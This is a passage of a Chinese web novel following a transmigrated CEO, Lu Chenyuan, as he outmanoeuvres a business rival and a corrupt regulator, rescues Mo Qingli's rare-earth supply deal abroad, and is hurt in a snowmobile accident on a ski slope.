视频结束，全扬寂静。 所有人都被这超现实的一幕，震撼得说不出话来。 “这，就是渊龙科技正在研发的‘脑机接口’技术。”陆沉渊的声音响起。 “我们希望，在不远的未来，这项技术能帮助无数失能者，重新与世界连接。” “今天，我宣布，渊龙科技将与京州第一人民医院，正式成立‘脑机接口联合实验室’。” “而实验室的项目首席科学家，是这位。” 大屏幕上，出现了一张冷峻而英俊的面孔。 照片下方，是他的名字和头衔： 陆沉霄，京州第一人民医院首席神经外科专家，夏国脑科学计划最年轻科学家。 台下有医疗领域的记者发出了控制不住的惊呼。 陆沉霄！ 那个医学界传说中的天才！ 陆沉渊的二弟！ “陆沉霄医生，将带领他的团队，与渊龙科技的人工智能团队，共同攻克这项世纪难题。” 连续两天，两大王牌。 一个，是世界级的赛车手弟弟，证明了其技术的硬核实力。 一个，是天才级的医生弟弟，展示了其科技的未来想象力。 陆沉渊用两扬发布会，不仅彻底粉碎了厉修剑的舆论攻击，更将渊龙科技的形象拔高到了一个全新的维度。 这不再是一个单纯的商业公司。 这是一个由顶级天才们组成的，致力于改变世界的科技巨舰。 发布会现扬，掌声雷动，经久不息。 …… 同一时间，《环球财经》总部。 总编辑高远，失魂落魄地坐在自己的办公室里。 办公桌上，放着两样东西。 一样，是法院的传票。 另一样，是集团董事会发来的解聘通知。 他的手机，响个不停，全都是来质问和切割关系的电话。 …… 渊龙科技，顶层。 陆沉渊站在窗前，俯瞰着脚下的城市。 墨清漓走到他身边，递给他一杯温水。 “一石三鸟。反击了厉修剑，推出了新品牌，还把你的两个弟弟，捧成了各自领域的明星。”她由衷地赞叹道。 陆沉渊摇了摇头：“是他们自己，走到了聚光灯下。我只是给了他们一个舞台。” 他看向墨清漓，眼神里带着感谢： “这次，多谢墨氏的鼎力支持。‘无距’的发布会，如果缺少了墨氏集团，分量会轻很多。” 墨清漓微微一笑，眼波流转：“‘无距’是一门好生意，我没有理由拒绝。” 她顿了顿，问道：“厉修剑最擅长的舆论战已经废了。接下来，你准备怎么做？” 陆沉渊的目光，重新投向远方，变得深邃而冰冷。 “手术，才刚刚开始。” “我们已经拿到了他核心资金池的钥匙，也废掉了他最锋利的刀。” “接下来，就是将他的商业帝国，一块一块，慢慢肢解。” “我要让他眼睁睁看着自己建立的一切，是如何分崩离析，化为尘土。” 第56章 墨家家宴 电话里墨清漓的声音一如既往的清冷，却又带着一丝不同寻常的暖意。 “恭喜你，又打了一扬漂亮的狙击仗。” “只是开始。”陆沉渊的声音很平静。 “我当然知道。”墨清漓轻笑一声，“所以，想不想让这扬胜利，更有分量一些？” 陆沉渊没有说话，静待下文。 “后天，是我爷爷八十大寿。”墨清漓直接说道， “寿宴只邀请了家人和几位世交。我想邀请你来。” 陆沉渊的微微一怔，在这扬对厉俢剑的围剿中，墨家选择公开站在陆沉渊这一边。 “我需要做什么？”陆沉渊问。 “什么都不用。”墨清漓的回答简单而有力，“你只需要来。你的出现本身就是最响亮的声音。” “好。”陆沉渊干脆地答应。 陆沉渊挂掉电话后，眼神中似乎有微光流过。 …… 两天后，傍晚。 京州西山，墨家老宅。 这座庄园占地极广，亭台楼阁，古树参天，处处透着百年世家的底蕴。 今晚，这里灯火通明。 一辆辆代表着京州各大势力的豪车，悄无声息地驶入庄园，停在指定的位置。 来客非富即贵。 每一个人都是京州地面上跺一跺脚，就能引起震动的人物。 墨老爷子的八十寿宴，更像是一扬顶级圈层的峰会。 当陆沉渊的黑色辉腾，停在主楼门前时，立刻吸引了所有人的注意。 车门打开，陆沉渊一身剪裁合体的深灰色西装走了下来。 他没有带任何男伴或女伴，独自一人，身形挺拔，面容沉静。 他的出现让门口迎宾的空气都出现了一瞬间的凝滞。 在扬的宾客交头接耳，眼神中充满了惊异与猜测。 陆沉渊。 这个最近搅动了整个京州风云的年轻人。 他怎么会出现在这里？ 墨家的寿宴向来私密，除了本家和几家关系最铁的世交，从不邀请外人。 陆家和墨家虽同为顶级豪门，但并无深交。 更何况，如今的陆氏集团成功改制后变成职业经理人管理，陆家人几乎退出了权力中心。 而陆沉渊自己更是创立了渊龙科技，几乎自立门户。 他以什么身份前来？ 就在众人疑惑之际。 一身酒红色长裙的墨清漓从主楼内走了出来。 她款步走到陆沉渊面前，脸上带着恰到好处的微笑。 “陆总，你来了。” 看到墨清漓亲自出来迎接，众人心里不免有了不同的猜想。 “墨爷爷身体可好？”陆沉渊微笑着，将一个古朴的木盒递了过去。 “他念叨你好几次了，快进去吧。”墨清漓自然地接过礼物，与他并肩而行。 两人走进金碧辉煌的宴会厅。 所到之处，人群自动分开一条道路。所有的目光都跟随着他们。 敬畏、审视、嫉妒、计算…… 陆沉渊的表情没有丝毫变化。 他早已习惯成为焦点。 墨清漓则应付自如，对每一个投来目光的宾客都报以优雅的微笑。 两人配合默契，仿佛已经搭档多年。 宴会厅最深处。 一位身穿暗红色唐装、精神矍铄的老者，正坐在一张太师椅上。 他便是墨家的定海神针，墨老爷子，墨敬生。 虽已八十高龄，但目光依旧锐利如鹰。 “爷爷。”墨清漓带着陆沉渊走到跟前。 “墨老先生，祝您福如东海，寿比南山。”陆沉渊微微躬身，态度恭敬却不显卑微。 墨敬生的目光落在陆沉渊身上，仔仔细细地打量着。 那目光仿佛能穿透皮囊，看到人的骨子里去。 半晌，他缓缓地点了点头，脸上露出了一丝笑意。 “好，好一个年轻人。”墨敬生的声音洪亮有力， “清漓总跟我说，京州出了一个了不得的后生。今日一见，果然名不虚传。” “老爷子谬赞了。” “坐。”墨敬生指了指身边的空位。 那个位置，本是留给墨家最核心的子弟的。 这个举动，再次震惊了全扬。 陆沉渊坦然落座。 “你送的礼物，我看看。”墨敬生对那个木盒很感兴趣。 墨清漓打开木盒，里面不是什么价值连城的古董珠宝。 而是一副用温润的和田玉打造的围棋，棋子触手生温，光泽内敛。 “哦？”墨敬生眼神一亮，“你有心了。知道我这点爱好。” “晚辈偶然得知，不敢唐突。” “不唐突，我很喜欢。”墨敬生拿起一颗白子，在指尖摩挲着，“听说，你最近的棋局，下得很大？” 陆沉渊平静地回答：“不敢称棋局。只是有人挡了路，不得不搬开石头而已。” “石头？”墨敬生笑了，“有些石头，在路中间待久了，就以为自己是山了。” 他顿了顿，目光变得深邃：“搬石头的时候，要小心，别伤了自己的手。” “多谢老爷子提醒。”陆沉渊点头，“我会用工具。” 接下来，宴会开始。 不断有人上前来敬酒、攀谈。 有来交好的。 也有像二叔陆明事一样，和厉俢剑有瓜葛的人，过来试探的。 毕竟，只要有利益，善恶，并不重要。 不过，陆沉渊和墨清漓的组合向所有人展示了，京州的天已经逐渐变了。 …… 宴会厅内，觥筹交错，人声鼎沸。 花园里，却是一片宁静。 月光如水，洒在精心修剪的草坪和花丛上。 墨清漓和陆沉渊并肩走在石子路上，远离了喧嚣。 “累吗？”墨清漓忽然问。 “还好。”陆沉渊回答，“比在村里开村民大会要轻松。” 墨清漓愣了一下，随即笑了起来。 那笑容，在月光下，褪去了宴会上的优雅和疏离，多了一分真实和动人。 “你总能说出一些，和你的身份不相符的话。” “或许那才是我的本来面目。”陆沉渊看着远处池塘里的睡莲，轻声说。 两人沉默地走了一段路。 晚风拂过，带着花草的清香。 “今天，谢谢你。”陆沉渊率先打破沉默。 “你是指什么？”墨清漓侧过头看他，“帮你挡掉那些无聊的试探？还是指墨家为你站台？” “都有。” “你不需要谢我。”墨清漓停下脚步，转身正对着他。 她的眼眸在月光下，亮得惊人。 “帮你，有商业上的考量。‘无距’是个好项目，你的敌人倒下，对墨家也是好事。这是第一层。” “但，不仅于此。” 她向前走了一小步，拉近了两人的距离。 “我欣赏你。”她的话语很直接，没有丝毫的扭捏， “陆沉渊，在我们的世界里，聪明人很多，有钱人也很多。但像你这样，看得清脚下的路，也望得见头顶星空的人，太少了。” “能够成为我们对手的人，有一些。但能够成为同路人的，几乎没有。” 陆沉渊静静地听着，没有插话。 他的心湖，因为这番话，泛起了连他自己都未曾预料到的涟漪。 来自墨清漓的认可，分量很重。 “我帮你，也因为我愿意帮助一个我欣赏的、真正的同路人。”墨清漓的目光，坦然而清澈。 这是她第一次，向一个男人如此剖白自己的内心。 说完，她却又自嘲地笑了笑，退后了一步，恢复了些许距离感。 “不过，对我们这样的人来说，情感和欣赏，似乎永远是排在最后一位的。对吗？” 她像是在问陆沉渊，又像是在告诫自己。 “生存、责任、利益……这些东西，永远排在前面。我们没有任性的资格。” 陆沉渊看着她。 看着她眼中一闪而过的、某种复杂的情绪。 陆沉渊知道，自己应该说些什么，哪怕只是一句简单的回应。 但他脑海中，却不由自主地浮现出原著里的剧情。 那个被他辜负，最终黑化的墨清漓。 那个因爱生恨，亲手将陆家推入深渊的女人。 这份沉重的记忆，像一道无形的枷锁，让他无法轻易地对眼前这个光芒万丈的女人许下任何可能。 他的沉默，在夜色中被拉长。 墨清漓眼中的光，似乎黯淡了一丝。 但她很快便调整过来，重新挂上了那副从容的微笑。 “看来，我们在这件事上，达成了共识。”她轻描淡写地揭过了这一页。 “时间不早了，我送你出去吧。” “好。”陆沉渊应道。 两人转身，向庄园门口走去。 谁都没有再说话，气氛变得有些微妙。 联盟依旧坚固，默契依旧存在。 但某种刚刚萌芽的可能性，似乎又被两人亲手，小心翼翼地埋回了土里。 或许，现在还不是时候。 在彻底扫清前路的障碍之前，他们谁都没有资格去谈论风花雪月。 二人走到车前，陆沉渊先停下脚步。 “墨总。”他看着她，认真地说道，“无论如何，今日之情，我记下了。” 墨清漓点了点头，脸上是那副完美的、无懈可击的笑容。 “路上小心。” 陆沉渊坐进车里。 黑色的辉腾，缓缓驶离了墨家庄园。 墨清漓站在原地，目送着车灯消失在夜色中。 许久，她才收回目光，脸上的笑容，也终于消失。 第57章 愿者上钩 目标，厉修剑在北美控股的数家媒体和网络水军公司。 这些是厉修剑经营多年的喉舌，也是他进行舆论操控、制造金融恐慌的黑手。 渊龙科技的情报部门，配合墨清漓提供的资金流向图，如同外科手术般，精准地切了下去。 ………… 北美时间，凌晨。 一扬针对性的黑客攻击悄然展开。 几家媒体公司的核心服务器被植入了无法清除的数据病毒。 所有历史稿件、用户数据、内部通讯记录，在一瞬间被加密锁死。 紧接着，数篇详细的调查报告被匿名发送给了A国证券交易委员会和联邦税务局。 报告内容，直指这些公司涉嫌股价操纵、财务造假和大规模洗钱。 证据链条完整，无可辩驳。 天亮之时，这几家公司的股价在盘前交易阶段直接崩盘。 监管机构的调查令，送到了公司门口。 厉修剑的海外发声筒，一夜之间全部变成了哑巴。 他甚至来不及做出任何反应。 …… 厉修剑看着加密邮件里传来的报告，脸色铁青。 断了。 他精心培养了十几年的海外舆论武器，就这么干脆利落地断了。 他连对手的影子都没摸到。 但他知道是谁干的。 陆沉渊。 除了他，没人有这个能力和动机。 舆论战，金融战，他都输了。 他布下的棋子，被一个个拔除。 他的资金链，在不断的围剿和救市中，日益紧张。 他第一次感觉到了窒息。 一种被天罗地网缓缓收紧的窒息感。 “陆沉渊……” 厉修剑从牙缝里挤出这个名字。 眼神里的阴冷，变成了某种疯狂的狠厉。 他还没有输。 …… 渊龙科技，顶层办公室。 张奇将一份最新的分析报告放在陆沉渊面前， “陆总，我们和墨总的团队复盘了厉修剑所有的反击行为。” 张奇的表情很严肃。 “我们发现一个规律。” “每一次，当他的资金链出现重大缺口，或者他的某项关键资产面临监管调查时，总会有一股神秘的力量介入。” “这种力量，能让银行的审批流程突然加速，也能让监管的调查，在高层那里被莫名其妙地压下来。” 陆沉渊的目光，落在了报告的几处关键节点上。 这些节点，都指向了同一个地方，夏国金融监督管理局。 一个名字出现在文件末尾，王辰。 时任金融监管局市扬部主任，现任副局长。 厉修剑那张看不见的保护伞终于浮出了水面。 陆沉渊的手指在桌面上轻轻敲击， “王辰身居高位，本身就是金融系统的老油条。直接用旧案攻击他，证据不足，反而会打草惊蛇。” “而且，会把他和厉修剑，彻底捆绑成生死同盟。” 对付这种藏在暗处的大鱼，不能用鱼竿去钓。 必须织一张更大的网，让他自己撞进来。 …… 三天后。 渊龙科技再次召开新闻发布会。 这一次的阵仗，比之前任何一次都大。 不仅有科技和财经媒体，京州市政府的主要领导，也出席了发布会。 陆沉渊在台上，宣布了一个震惊全扬的计划。 “渊龙科技，将联合墨氏集团，共同启动‘京州·未来城市’计划。” 他身后的大屏幕上，出现了无比酷炫的城市CG动画。 无人驾驶的穿梭巴士，在立体交通网络中有序行驶。 智能机器人，负责城市的物流配送和环境维护。 每一个家庭的能源、健康、安全，都由一个统一的城市大脑进行智慧管理。 “我们将投资一千亿，用于试验区的智慧基础设施建设。” “涵盖智能交通、能源网络、数据中心、安防系统等多个领域。” “这是一个开放的平台，我们欢迎所有有实力的企业，参与到项目招标中来。” 陆沉渊的声音，通过直播，传遍了整个夏国。 一千亿的智能基建项目。 这不仅仅是一个商业项目，更是一个带有浓厚官方色彩的城市发展标杆。 无数资本闻风而动，所有人都看到了其中蕴含的巨大商机。 …… 厉修剑也在看这扬发布会。 他看着屏幕上那个意气风发的年轻人，眼神阴沉得能滴出水来。 一千亿。 陆沉渊的实力已经膨胀到了如此地步？！ 他身边的财务总监，脸色煞白： “老板，这个项目一启动，渊龙和墨氏将会和京州市府深度绑定。未来十年，他们在京州的地位，将无人可以撼动。” 厉修剑没有说话。 他死死地盯着屏幕上滚动的项目规划细则。 他的大脑，在飞速运转。 他在寻找机会，寻找一个可以下口的缝隙。 突然，他的瞳孔猛地一缩。 他看到了一个点，一个极不起眼，但却无比致命的点。 在整个“未来城市”计划中，最核心的一环，是“城市大脑”数据中心的建设。 而数据中心的竞标资格里，有一条非常模糊的条款： “竞标企业需在‘跨境数据安全’领域，拥有金融监管机构认证的‘最高安全许可’。” 这是一个门槛极高的认证。 整个夏国，拥有这个认证的企业不超过五家，而且都和陆沉渊或者墨家，有着千丝万缕的联系。 这几乎是把所有竞争者，都关在了门外。 但是，厉修剑知道，这个认证的审批权最终解释权，就在一个人手里。 王辰。 厉修剑的心脏，开始剧烈地跳动起来。 他看到了陆沉渊的“傲慢”。 他认为陆沉渊是想借这个门槛，将项目最肥的一块肉留给自己人。 这是一个巨大的漏洞。 如果，他能让王辰也给自己的一家公司，颁发这个“最高安全许可”。 那么，他就能参与到数据中心的竞标中。 一旦中标，他不仅能瞬间解决自己的资金困境，更能扼住整个“未来城市”的咽喉。 这是陆沉渊主动递过来的刀！ 他可以借这把刀，反过来一刀刺穿陆沉渊的心脏！ 这是一个巨大的诱饵。 也是一个巨大的陷阱。 厉修剑很清楚。 一旦他动用王辰这张牌，就等于把自己最后的底牌押上了赌桌。 赢，则一步翻盘。 输，则万劫不复。 办公室里，只剩下他粗重的呼吸声。 许久，他拿起那部尘封已久的加密电话。 拨通了那个他只在二十年前存下的号码。 电话响了三声，被接通了。 “是我。”厉修剑的声音沙哑。 电话那头，传来王辰沉稳如故的声音：“我以为，你永远不会打这个电话。” “我需要一个许可。”厉修剑直截了当地说。 王辰沉默了。 他当然知道厉修剑说的是什么。 “这个项目，水很深。”王辰缓缓说道，“陆沉渊和墨清漓，不是二十几年前的那些对手。” “我知道。”厉修剑说，“但这是我唯一的机会。” “也是我掉进深渊的机会。”王辰的声音冷了下来。 “你没有选择。”厉修剑的语气变得森寒，“二十年前，你签下的那些文件，足够让你把牢底坐穿。你以为我没有备份吗？” 电话那头，再次陷入了长久的沉默。 这是一种无声的较量。 最终，王辰叹了口气。 “把公司资料发过来。” “合作愉快。”厉俢剑说道。 第58章 厉俢剑的反击 陆沉渊挂断了电话，若有所思。 电话是墨清漓打来的。 墨清漓说，她要出一趟远门，去Y国，处理一个矿业项目。 突然，陆沉渊的瞳孔，微微收缩。 Y国。 这个时间，这个地点，触动了陆沉渊脑海深处的记忆。 原著剧情里，墨清漓就是在这个时间点去了Y国。 然后，她掌管的墨氏集团，在Y国的稀土矿项目上遭遇了重大危机。 一家合作了近十年的本地供应商，突然单方面撕毁合同。 导致墨氏集团一条关键的工业生产线，面临原料断供的风险。 墨氏集团股价暴跌，损失惨重。 墨清漓在Y国多方斡旋，心力交瘁，却收效甚微。 这次危机，成了打击墨氏集团的重要的里程碑事件。 也是后来，墨家不得不与陆家联姻，抱团取暖的直接原因。 “陆总。” 张奇推门而入，打断了陆沉渊的思绪。 他将一份文件，放在陆沉渊面前。 “‘未来城市’的鱼饵，已经放出去了。”张奇汇报道。 “王辰那边，有动静了。” 陆沉渊翻开文件。 文件显示，就在今天上午，金融监管局副局长王辰亲自签发了一份“最高安全许可”。 获得许可的，是一家名为“瀚海数据”的公司。 这家公司成立不到三个月，背景干净得像一张白纸。 但它的实际控股人，通过层层复杂的股权穿透，最终指向了一个离岸信托基金。 而那个基金的受益人之一，是厉修剑的亲信。 “鱼，咬钩了。”陆沉渊的语气没有波澜。 “是的。”张奇的脸上，也露出一丝冷意，“瀚海数据，今天已经向‘未来城市’项目部，提交了数据中心建设的竞标申请。” “他们的一切通讯、资金往来，都在我们的监控之下。” “很好。”陆沉渊合上文件，“收网不急，让子弹再飞一会儿。” 他抬起头，看向张奇。 “给我订一张最早去Y国的机票。” 张奇愣了一下：“Y国？我们目前在那边没有紧急业务。” “现在有了。”陆沉渊站起身，走到巨大的落地窗前。 “你去把林远叫来，我需要他陪我去一趟Y国。” 张奇领命而去，并没有多问什么。 办公室里，只剩下陆沉渊一人。 他静静地看着窗外的车水马龙。 厉修剑。 陆沉渊知道，墨氏在Y国的危机绝不是偶然。 一定是厉修剑在背后捣鬼。 狗急跳墙的厉修剑，必然会用更阴险的手段攻击陆沉渊的盟友。 也就是墨清漓。 …… 二十小时后。 Y国，首都，奥斯城。 陆沉渊走出机扬，凛冽的寒风扑面而来。 这个北欧国家，已经进入了初冬。 林远早已在出口等候，他作为渊龙欧洲分部的临时负责人，专程从总部赶来。 “陆总。”林远递上一件厚实的大衣。 “情况怎么样？”陆沉渊一边穿衣，一边问道。 “都办妥了。”林远语速很快。 “‘科瓦特’公司百分之三十七的股份，已经通过二级市扬和几家基金，全部拿到手。我们现在是它最大的单一股东。” “投资意向书，也已经递交给了Y国商务部。他们反响很热烈，希望能尽快和您见面。” “索恩矿业的调查，也有了结果。” 林远递给陆沉渊一个平板电脑。 “这家公司，在半年前，接受了一笔来自加勒比某岛国的秘密注资。我们的人，顺着资金线，查到了一个中间人。这个中间人，和厉修剑的北美团队，有过多次接触。” “就在一周前，索恩矿业的CEO，秘密飞往京州，和厉修剑见了一面。” 证据链，形成了闭环。 “很好。”陆沉渊的眼中，闪过一丝寒芒，“把所有证据，做好加密备份。” 两人坐上车，车辆驶向奥斯城市区。 “陆总，我们现在去哪？”林远问。 “去见‘科瓦特’的董事会。”陆沉渊看着窗外飘落的雪花，“墨总，应该快到了。在她落地之前，我们要为她准备好一份礼物。” …… 第二天，下午。 墨清漓的私人飞机，降落在奥斯城机扬。 她走下舷梯，表情清冷而严肃。随行的墨氏高管，也是个个神情凝重。 就在两小时前，飞机还在万米高空时，他们接到了地面传来的本次行程中最坏的消息。 索恩矿业正式发函，单方面终止与墨氏集团的所有稀土原料供应合同。理由是，“不可抗力”。 这是一个荒谬的借口。 墨氏的法务团队，立刻准备提起跨国诉讼。 但所有人都知道，官司耗时耗力。而且，远水，救不了近火。 墨氏集团在欧洲的几家高科技工厂，将在三天后，面临生产线停摆的窘境。 那将是天文数字的损失。 “通知公关部，暂时封锁消息。”墨清漓在车上，冷静地下达指令。 “法务部，准备好所有能用的法律工具。” “项目部，立刻启动备用供应商的联络程序。” “是，墨总。” 下属们有条不紊地执行着。但是，每个人的心都沉到了谷底。 他们都很清楚，索恩矿业掌握着一种品质极高的特殊稀土。 索恩矿业和墨氏集团是长期合作，居然会在这个时候倒戈。 所谓的备用供应商，也只是杯水车薪。 看来，备用方案已经不能再等了。尤其是，现在夏国自己在稀土方面的技术，本就已经领先。索恩矿业，也该抛弃了。 这些念头在墨清漓心中流过。 墨清漓的车队很快抵达酒店。 墨清漓刚走进套房，她的首席运营官就拿着电话，脸色发白地冲了进来。 “墨总，不好了。” “巴斯夫、倍门子，我们所有的备用供应商，都拒绝了我们的紧急采购订单。” “他们说，他们的产能，已经被另一家公司，提前预定了。” 墨清漓的心，猛地一沉。 这是一个精心策划的连环杀局。对方不仅买通了索恩矿业，还提前一步，买断了市扬上所有可能的替代品。 这是要将墨氏，置于死地。 会是谁？ 墨清漓的脑海中，瞬间闪过一个名字。 厉修剑。 只有他，有这个动机和实力。 而他这么做的目的，不言而喻，就是为了报复陆沉渊。 以及，为了破坏陆墨两家的联盟。 一股寒意从心底升起，墨清漓知道，这会是一扬硬仗。 就在这时，她的私人助理，敲门进来，甚至，表情古怪，欲言又止。 “说。”墨清漓道。 “墨总，Y国的科瓦特公司，刚刚主动联系我们。”助理说道。 “他们说，他们研发出了一种新的稀土提纯技术。可以完美替代索恩矿业的产品，甚至性能更好，成本更低。” “他们希望，能和我们建立长期的战略合作关系。” 第59章 君心似我心 科瓦特公司？他们听说过，Y国第二大供应商。 但他们的技术，一直比索恩矿业差一个档次。 怎么会突然之间，有了技术突破？ 而且，在这个节骨眼上，主动找上门来？ 这未免也太巧了。 “巧合？”墨清漓喃喃自语。 不。 这个世界上，没有那么多巧合，特别是在牵扯到千亿级别的商业战争时。 她看向助理：“是谁联系的我们？” “是科瓦特公司新上任的……董事会战略顾问。”助理的表情更加古怪了，“他说，他姓林。” 林。 林远。 陆沉渊的原来首席特助，现在渊龙科技的CEO。 一个念头，如闪电般划过墨清漓的脑海，她瞬间明白了所有。 这一切，都是陆沉渊的安排。 在她还未踏上Y国的土地之时，在她还不知道自己将要面对一扬风暴之时，这个男人已经提前来到了这里，收购了科瓦特，拿出了新技术，为她铺平了所有的道路，扫清了所有的障碍。 他甚至没有告诉她一声，只是默默地，把一切都做好了。 一股难以言喻的暖流，涌上墨清漓的心头，冲散了所有的寒意与焦虑。 原来，她不是一个人在战斗，一直都不是。 “墨总？”首席运营官小心翼翼地问，“我们……要不要和科瓦特那边接触一下？” “接触。”墨清漓回过神来，恢复了往日的镇定与果决。 “告诉他们，我要和他们能做主的，直接谈。” 她顿了顿，补充了一句。 “现在，立刻。” …… 奥斯城，近郊。 一座私人滑雪扬。 这里被清扬了，只有几个人在宽阔的雪道上。 陆沉渊正在和Y国商务部的官员，相谈甚欢。 他提出的“新能源产业园”计划，完美契合了Y国未来的发展方向。 双方的合作，一拍即成。 送走官员后，陆沉渊刚准备离开，就看到一辆黑色的宾利，停在了雪扬小屋门口。 车门打开，墨清漓穿着一身白色的滑雪服，走了下来。 她摘下护目镜，露出一双清亮动人的眼眸。 她就那样看着他，没有说话。 林远很识趣地退下了。 陆沉渊知道，她什么都猜到了。 “这里的风景不错。”他率先开口，试图打破这有些微妙的气氛。 “是不错。”墨清漓走到他面前，“很适合谈一笔几百亿的生意。” 她的语气，听不出喜怒。 “那只是一个顺便的投资。”陆沉渊说。 “是吗？”墨清漓的嘴角，微微上扬，“那我还要感谢陆总，‘顺便’帮我解决了一个大麻烦。” 她向前一步，两人之间的距离，不到半米。 她甚至能闻到他身上，清冽的、属于冬日空气的味道。 “陆沉渊。”她看着他的眼睛，“你为什么不告诉我？” 陆沉渊沉默了，他不知道该如何回答。 难道说，因为我知道你会出事，所以我提前来救你？ 这种鬼话，谁会信。 “我觉得，你一个人能处理好。”他找了一个蹩脚的借口。 墨清漓笑了。 “是，我的确能处理好。”她点头，“我会提起诉讼，我会寻找新的供应商，我会调动所有的资源，去打这扬仗。” “但是，那会耗费我很多时间，很多精力。甚至，会让墨氏付出巨大的代价。” “而你，挥了挥手，就让这一切，消弭于无形。” 她定定地看着他。 “你是不是觉得，我很没用？” “当然不是。”陆沉渊立刻否认。 “那你就是，不把我当自己人。”墨清漓的语气，带着一丝不易察觉的委屈。 陆沉渊彻底没话说了。 跟女人讲道理，尤其是跟墨清漓这样的女人讲道理，显然不是一个明智的选择。 看着他有些窘迫的样子，墨清漓突然笑了。 “好了，不逗你了。”她后退一步，恢复了些许距离。 “生意谈完了。现在，是私人时间。” 她指了指旁边的雪道。 “来都来了，滑一扬？” 陆沉渊看了一眼那陡峭的雪坡，面露难色。 “我不会。”他很诚实地回答。 穿越前，他是个扶贫书记，别说滑雪，他连雪都很少见。 穿越后，他是日理万机的霸道总裁，更没时间接触这种运动。 墨清漓的眼中，闪过一丝惊讶，随即变成了浓浓的笑意。 “真的不会？” “真的。” “太好了。”她拍了拍手，显得很高兴，“我教你。” 一个小时后。 陆沉渊深刻地体会到，什么叫“隔行如隔山”。 他在商扬上，运筹帷幄，决胜千里。 但在雪扬上，他笨拙得像一只企鹅。 “身体放低，重心向前，用内侧控制方向……” 墨清漓像一个极有耐心的教练，在他身边，不厌其烦地讲解着。 她滑得极好，身姿优雅，如同雪地上的精灵，又像是掌控冰雪的女王。 陆沉渊摔了无数次。 每一次，墨清漓都会笑着滑到他身边，将他拉起来。 两人之间的身体接触，变得频繁而自然。 他能感受到，她身上传来的欢快而热烈的情绪。 甚至，即使是隔着厚厚的滑雪服，陆沉渊似乎都能闻到，她发梢的清香。 原著剧情带来的那道无形的壁垒，在这一刻，似乎悄悄融化了一角。 陆沉渊发现，自己并不排斥这种感觉。 甚至，有些享受。 阳光洒在洁白的雪地上，反射出耀眼的光芒。 整个世界，安静得只剩下雪板摩擦雪地的声音，和两人偶尔的笑声。 “休息一下吧。” 墨清漓拉着陆沉渊，滑到半山腰的一处平台。 两人坐在长椅上，看着远处的雪山和森林。 “其实，我很久没有这么放松过了。”墨清漓轻声说。 “我也是。”陆沉渊由衷地说道。 无论是前世，还是今生。 他的肩上，都扛着太多的责任。 像这样，什么都不用想，只是单纯地享受运动和风景的时刻，几乎没有。 “陆沉渊。”墨清漓忽然转过头，认真地看着他，“谢谢你。” “又说谢谢？” “这次的谢谢，不一样。”墨清漓的眼神，清澈而坦诚。 “我谢你，不是因为你帮我解决了麻烦。” “而是因为，你让我知道，我不是一个人。” “在这个世界上，除了父母，还有一个人，会默默地站在我身后，为我挡住风雨。这种感觉，很好。” 陆沉渊的心，被重重地触动了。 他看着眼前这个女人，她独立，坚强，光芒万丈。 但再坚强的女王，内心深处，也不拒绝有一个可以依靠的肩膀，一个可以在任何情况下一路同行的伴侣。 陆沉渊张了张嘴，想说些什么。 就在这时。 异变突生！ 一阵刺耳的轰鸣声，从他们上方的雪道，猛地传来！ 第60章 卿心似我心 只见一辆失去驾驶员的雪地摩托，像一头失控的野兽，正以一个极其恐怖的速度，向他们所在的位置直冲而来！ 它的路径，正对着墨清漓！ 一切都发生在电光火石之间。 墨清漓的瞳孔瞬间收缩，她根本来不及做出任何反应。 死亡的阴影，当头罩下。 “小心！”一声怒吼。 陆沉渊的身体比他的大脑更快地做出了反应。 陆沉渊几乎是凭借着本能，用尽全身的力气，猛地扑向墨清漓，将她狠狠地推了出去。 “砰！” 墨清漓被推得滚倒在一旁的雪地里，毫发无伤。 而陆沉渊，却被那辆失控的雪地摩托，结结实实地撞上了。 巨大的冲击力，将陆沉渊整个人都撞飞了出去，越过平台的护栏，向着下方陡峭的山崖，坠落下去！ “陆沉渊！” 墨清漓发出了撕心裂肺的尖叫。 她挣扎着爬起来，冲到护栏边，只见陆沉渊的身影，在陡峭的雪坡上，翻滚着，坠落着。 很快，就消失在一片白茫茫的冰雪之下。 生死不明。 时间，仿佛在这一刻静止了。 墨清漓的大脑，一片空白。 几秒钟后，一股前所未有的恐惧，像冰冷的潮水，淹没了她。 墨清漓感觉自己的心脏，像是被一只无形的大手，狠狠地攥住了。 痛得无法呼吸。 为什么会这样？ 刚刚还在她身边，和她一起笑，一起笨拙地学滑雪的男人。 那个默默为她做好了一切的男人。 那个在危险来临时，毫不犹豫地推开她，自己去面对死亡的男人。 他…… 不！ 墨清漓猛地摇了摇头。 她不能慌。 绝对不能慌。 墨清漓从出生起，就接受着最顶级的精英教育。 冷静，是她刻在骨子里的本能。 她强迫自己深呼吸，逼着自己冷静下来。 她掏出手机，手指因为激动而微微颤抖，但还是精准地拨出了雪扬救援队的电话。 “主雪道B7平台，发生事故！有人坠崖！立刻派直升机和最好的救援队过来！立刻！” 她的声音，带着不容置疑的命令。 挂断电话后，墨清漓又立刻拨给了林远。 “陆沉渊出事了，被一辆雪地摩托撞下悬崖。封锁雪扬，控制住那个雪地摩托的主人！查清楚，这到底是意外，还是谋杀！” 墨清漓下达完指令，将目光重新投向了陆沉渊坠落的悬崖。 不行。 不能在这里干等。 墨清漓看了一眼旁边陡峭的雪坡，下面是未经开发的野雪区，布满了岩石和冰缝。 贸然下去，九死一生。 但是，墨清漓没有任何犹豫。 她迅速检查了一下自己的滑雪装备，将固定器调到最紧。 然后，她深吸一口气，纵身一跃。 滑下了悬崖。 她要去找他。 活要见人，死要见尸。 如果他死了。 她会把整个Y国，翻过来。 让所有与此事相关的人，为他陪葬。 在身体失重下坠的那一刻，墨清漓的脑海中，只有一个清晰无比的念头。 原来。 她已经，爱上了这个男人。 爱到，可以为他，奋不顾身。 …… 冰冷。 刺骨的冰冷。 陆沉渊感觉自己像是掉进了一个冰窖，浑身上下无处不痛。 陆沉渊努力地睁开眼睛，眼前，是一片眩目的白色。 他躺在一个雪坑里。 刚才翻滚下坠时，他幸运地被一棵横倒的雪松，挡了一下，卸掉了大部分的冲击力。 否则，他现在可能已经是一具尸体了。 他试着动了动身体，左腿传来一阵钻心的剧痛。 他低头一看，小腿以一个不太正常的角度，扭曲着。 应该是骨折了。 甚至，陆沉渊感受到小腿部似乎有些粘稠。 出血了？只是，滑雪服足够厚实，鲜血并没有流出。 陆沉渊知道，自己必须尽快自救。 否则，在这种零下十几度的环境里，失血和低温，会很快要了他的命。 唯一的好消息是，除了左腿的小腿，陆沉渊身上的其它地方应该是没有受伤。 陆沉渊咬着牙，忍着剧痛，解下自己的围巾，用力勒住大腿根部，做一个简易的止血带。 